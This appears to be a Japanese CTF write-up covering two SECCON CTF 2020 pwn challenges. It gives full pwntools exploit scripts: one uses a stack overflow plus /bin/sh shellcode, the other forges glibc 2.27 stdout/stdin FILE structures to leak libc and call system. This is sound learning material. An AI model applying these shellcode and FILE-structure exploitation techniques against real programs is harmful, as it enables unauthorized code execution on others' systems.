forge _IO_FILE_plus to leak / libc2.27
1: イントロ
いつぞや開催された SECCON CTF 2020。
開始3時間で悟ってしまい放棄してしまいましたが、pwn問題は全部解いていくことにします。sandbox問題は余力があったら全部解こうと思います。
本エントリでは、pwnの中でsolve数が多かった2問を取り上げます。
どうせこれを書き上げる頃には作問者様のwriteupが出ていると思うので、本エントリでは速さではなく詳細な説明をする様に心がけようと思います。
お知らせ
あらゆることに成果が出せていないのにブログを書くのがhogeになったため、本シリーズを投稿した後は一旦ブログを閉鎖することにしました。なんやかんや色んな人に見て頂けて嬉しかったです。 iPadで書いたブログなんかは気分で書いたのに、discordで海外の人に「画像だと翻訳できないからテキスト版をくれないか」と言われたときには、翻訳するべきか迷いました。まぁ流石に渡しませんでしたけどね。公開設定を自分だけにするだけなので、気分が向いたらひょっこりともとに戻すかもしれません。その時まで。
2: pwarmup
静的解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=02a44cf279881f5887ca24374b56d586be571c89, not stripped RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
libc配布なし。ソースコード配布。
Vulns / Attack Vector
scanf を用いているため、自明なスタックオーバーフローがある。また、カナリアは居ないためSSPに殺されることもない。また、0x60000 領域が RWX になっているためここに RBP を移動させて再び main を実行することでシェルコードを注入することができる。
尚、一度目のmainで stdout/stderr はcloseされているためシェルを取った後は exec 1>&0 で再び開く必要が有る。
Exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./chall" LIBCNAME = "" hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost") ports = (9001,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(): global c pass ## exploit ########################################### def exploit(): global c # pop: r13 rdi rsi r14 r15 main = 0x4006b7 pop_rdi = 0x4007e3 ret = 0x400566 shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05" got = 0x600bd8 c.recvline() pay = "" pay += "A"*0x20 pay += p64(0x600000+0x40) # rbp pay += p64(0x4006bf) #RA c.sendline(pay) # 2R sleep(1) pay = "" pay += p64(0x600050) * (0x30//8) pay += shellcode c.sendline(pay) c.sendline("exec 1>&0") c.sendline("cat ./flag-e6951df0400add6a6b5be11f25b80cea.txt") ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
3: lazynote
静的解析
./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1663726383f8586f276451381e6fbb6f3d2d675, not stripped Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
libc 2.27。
任意サイズの calloc を4回のみ行うことができる。edit/view/delete 等の機能は実装されていない。
Vulns
本プログラムでは、calloc するサイズ csize と読み込むデータサイズ rsize の2つをそれぞれ聞いてくる。rsize < csize の場合には csize=rsize に修正し、結局 csize だけ calloc することになる。よって、rsize > csize にすることで直接的に任意の値をオーバーフローさせることはできない。
問題はその後で、readline でユーザからのデータを入力した後以下のようにNULL終端させている。
まずそもそもに、readline の内部で呼ばれている fgets はそれ自体でNULL終端してくれるため呼び出し側がNULL終端させる必要はない。
案の定、rsize > csize の場合には確保したバッファを超えてNULLクリアすることになってしまう。
というわけで、今回のattack vectorは 1byte relative NULL clear x 4 のみということになる。
libcbase leak
持っているvectorがrelativeであるために、バッファは libcbase とのオフセットが既知である場所に取られていなければならない。幸いにも本プログラムでは任意サイズの calloc ができる。よって、system_mem よりも大きいサイズ(>0x21000)を calloc してやれば mmap してくれる。
mmap によって確保される領域は libcbase とのオフセットが固定であるため、前述の NULL clear によって任意の libc symbol をNULL clearすることができる。
まずは libcbase leak をすることにする。基本的な方針は2018年のHITCONの問題と同じで(以下のエントリで述べられている) FILE structure exploit である。
詳しくは上のエントリを参照されたいとだけ言ってスキップしてしまってもいいが、自分自身よくFILE exploitを理解していない感じがあったので、コードベースで丁寧に方針をおさらいしていくことにする。
puts によってlibc symbolをleakさせたいため、まずはこいつから考えよう。puts は stdout の関数テーブルである _IO_file_jmps を参照して _IO_new_file_xsputn を呼ぶ。そして以下のようにして _IO_OVERFLOW を呼ぶ。引数 f は stdout である。
ここで第2引数 ch に EOF を渡しているため、内部では do_new_write が呼ばれる。この際の引数に注目すると、stdout->_IO_write_base から stdout->_IO_write_ptr - stdout->_IO_write_base byte分だけ出力するようになることが分かる。
この後は引数をほぼそのままに write を呼ぶだけである。
さて、それでは puts を呼んだ際の stdout->_IO_write_base がどうなっているかを見てみると、以下のようになっている。
おおよそ stdout の内部を指していることが分かる。この時、_IO_write_base のLSBをNULL clearすると _IO_write_base が stdout 自身を指すことになる。即ち、上で見た do_new_write 内部の write において stdout 自身の値を出力させることができるようになる。出力サイズ自体は write_ptr と write_base の差を取って計算されるが、write_base を小さく書き換えているため十分である。
それでは早速相対書き換えによって stdout->_IO_write_base を書き換えてleakをしようと思って試してみても、何も出力はされないだろう。というのも、do_new_write の内部において、以下のようなチェックが有る。
_IO_read_end と _IO_write_base が等しくない場合には lseek64 を呼び出している。ここで _IO_write_base をNULL clearした状態のstdoutは以下のようになっている。
確かに read_end と write_base が異なるために、lseek64 が呼ばれることになる。だがこの lseek64 は不正呼び出しのために pos_BAD を返してくる。そのため、即座に return 0 されて結局 puts は何もせずに終わることになる。leakなんてできやしない。
さて、対策としては単純に上の条件分岐をfalseにするため _IO_read_end も事前にNULL clearしてやればいい。但しその場合には、_IO_write_end も書き換えるまで出力が一切されなくなることに注意。
上記の方針で read_end と write_base を書き換えると以下のようにstdoutが出力されるため、libcbaseがleakできたことになる。
Limited arbitrary write into stdin
続いて stdin を壊していくことにする。
_IO_fgets は内部的には _IO_getline を呼び、更にすぐ _IO_getline_info を呼ぶことになる。その中で、 stdout->_IO_read_end - fp->_IO_read_ptr < 0 ならば __uflow を呼ぶ。
この __uflow は内部的に stdin のジャンプテーブルである _IO_file_jmps を参照し、_IO_new_file_underflow を呼ぶ。こいつは普通の条件の場合には read を呼ぶことになる。その際の引数は以下のようにして決定される。
やはり先程の do_new_write の場合と同様に、stdin->_IO_buf_base に対して read を行っている。よって、stdin->_IO_buf_base をNULL clearしてstdinを指すようにしてやることで、stdin に対して任意の値を書き込んでやることができる。
あとは stdin を適当に forge してやれば終わりか?というとそうではない。read の第3引数は _IO_buf_end - _IO_buf_base になっており、これはNULL clearによって生じた差の分だけしかない。今回の場合は 0x84 byteのみである。これは stdin をforgeするには若干足りない。
しかも、ここまでで既に3回 calloc しているため、残り一回しか読み込みを行うことはできない。
対処法としてはシンプルで、まずは stdin の前半にある _IO_buf_end を任意の大きい値に書き換えてあげればいいだけである。そうすれば、次の read では更に大きい値分だけ読み込むことができる。
残り一回しか読み込めないんじゃなかったんかとブチ切れて発狂しだす輩もいるかもしれないが、大丈夫。もう一度 _IO_getline_info を見返してみよう。
このwhileループ及び内部の __uflow は、read_end < read_ptr である限り行われる。従って、1回目の __uflow において stdin の前半に有る read_end / buf_base / buf_end を書き換えた後、2回目の __uflow において好きなだけ stdin をforgeしてしまえばよい。
以上の方針で1回目の __uflow を終えた後の stdin は以下のようになっている。
read_baseはstdinを指しており、buf_end-buf_baseは十分な大きさを持っているため、stdin全体をforgeすることができるようになった。なお、こいつら以外をoverwriteする値は何でも良いが、read_end は read_ptr よりも小さくなっている必要が有る。
Forge stdin via unimited arbitrary write into stdin
あとは、最近の zer0pts CTF とか他諸々のCTFでも大量に出ている方針と同じ方針でいける。
尚、今回は onegadget は全て使えない。よって、_IO_str_overflow 内部での call において RDI には new_buf として 2 * (_IO_buf_end - _IO_buf_base) + 0x64 が入ることを利用して、任意の値が入れられる。
Exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./chall" LIBCNAME = "./libc-2.27.so" hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost") ports = (9003,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### note =" " enpitu = "✏️ " trash = "🗑️ " eye = "👀" def hoge(ix): global c c.recvuntil(">") c.sendline(str(ix)) def a(csize, rsize, data, ret=False): if ret: c.sendline(str(1)) c.sendline(str(csize)) c.sendline(str(rsize)) c.sendline(data) return hoge(1) c.recvuntil("alloc size: ") c.sendline(str(csize)) c.recvuntil("read size: ") c.sendline(str(rsize)) c.recvuntil("data: ") c.sendline(data) ## exploit ########################################### def exploit(): global c big_size = 0x40300 mmap_dif = 0x1f7760 if False: # my libc a(big_size, mmap_dif+0x11-0x10, "A"*0x10) # read_end a(big_size, big_size+0x10+0xcd0+0x20 + mmap_dif + 0x11, "A"*0x10, True) libc_dif = 0x1b85b0 else: mmap_dif += 0x235ff0+0x10 a(big_size, mmap_dif+0x1, "A"*0x10) a(big_size, big_size + mmap_dif+0xcd0+0x1+0x40, "A"*0x10, ret=True) libc_dif = 0x1b85b0 + 0x235300 libcbase = unpack(c.recvuntil(p8(0x7f))[-6:].ljust(8,'\x00')) - libc_dif print("[+] libcbase: "+hex(libcbase)) # make stdin->buf_end into stdin itself if False: # mylibc a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end else: a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end # forge fake stdin stdin = libcbase + libc.symbols["_IO_2_1_stdin_"] pay2 = b"" pay2 += p64(0) # flag pay2 += p64(stdin) # read_ptr pay2 += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr pay2 += p64(stdin) # read_base pay2 += p64(stdin) # write_base pay2 += p64((libcbase+0x1b40fa-0x64)//2) # write_ptr binsh pay2 += p64(stdin) # write_end pay2 += p64(0) # buf_base pay2 += p64((libcbase+0x1b40fa-0x64)//2) # buf_end pay2 += p64(0)*0x12 pay2 += p64(libcbase + libc.symbols["_IO_file_jumps"]+0xc0 - 0x10) # _IO_str_jmps pay2 += p64(libcbase + libc.symbols["system"]) # system pay2 = pay2.ljust(0x100,'\x00') pay = b"" pay += p64(0xfbad208b) # flag pay += p64(stdin) # read_ptr pay += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr pay += p64(stdin) # read_base pay += p64(stdin) # write_base pay += p64(stdin) # write_ptr pay += p64(stdin) # write_end pay += p64(stdin) # buf_base pay += p64(stdin+len(pay2)) # buf_end pay = pay.ljust(0x84,'\x00') pay += pay2 c.sendline(pay) ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
3: アウトロ
トイレの水が止まらなくなって泣いています
次回は kstack やろうかな。
ほんのちょっとだけ続く。。。